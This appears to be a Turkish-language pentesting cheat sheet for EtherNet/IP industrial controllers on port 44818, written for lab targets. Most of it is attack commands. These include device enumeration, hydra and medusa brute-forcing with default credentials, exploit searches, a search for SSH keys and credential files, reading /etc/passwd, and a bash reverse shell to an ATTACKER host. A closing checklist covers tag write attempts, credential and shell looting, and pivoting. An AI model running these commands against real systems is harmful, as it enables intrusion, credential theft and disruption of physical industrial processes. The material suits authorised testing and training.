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44818/UDP/TCP - Pentesting EthernetIP

EtherNet/IP ot

EtherNet/IP endüstriyel kontrol konuşmasıdır. Identity/list services cihaz tipi ve bazen yazma yüzeyi verir. Hedef lab IP’si üzerinde komutları 44818 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 44818 TCP/UDP doğrula.

  2. List Identity / services.

  3. Tag/read-write dene.

  4. Program/logic loot.

Terminal window
nmap -Pn -sV -p44818 TARGET
Terminal window
nmap -Pn -sU -p44818 --script enip-info TARGET
Terminal window
python3 cpppo/tools/enip_client.py TARGET
Terminal window
python3 -c 'from cpppo.server.enip import client; print(client.connector(host="TARGET"))'
ListIdentity → vendor/product/serial
Terminal window
tcpdump -ni any port 44818 -w enip.pcap

/UDP/TCP - EthernetIP için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p44818 TARGET
Terminal window
nmap -Pn -p44818 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:44818' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',44818));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → /UDP/TCP - EthernetIP
Terminal window
hydra -L users.txt -P rockyou.txt -s 44818 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 44818
Terminal window
nmap -p44818 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit EtherNet/IP
Terminal window
msfconsole -q -x 'search EtherNet/IP; exit'
Terminal window
nuclei -u https://TARGET:44818 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:44818 -tags tech -silent || true
Terminal window
nc -nv TARGET 44818
Terminal window
printf '
' | timeout 3 nc -nv TARGET 44818
Terminal window
curl -vk --http1.0 http://TARGET:44818/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
enip-info → identity → read tags → process impact